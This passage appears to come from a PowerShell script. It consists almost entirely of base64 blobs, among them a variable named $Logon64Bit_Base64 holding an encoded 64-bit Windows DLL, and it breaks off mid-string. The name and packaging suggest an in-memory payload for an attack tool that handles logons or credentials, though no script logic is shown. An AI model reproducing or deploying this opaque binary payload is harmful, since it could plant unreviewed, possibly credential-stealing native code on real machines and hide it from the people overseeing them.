AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + $Logon64Bit_Base64 = "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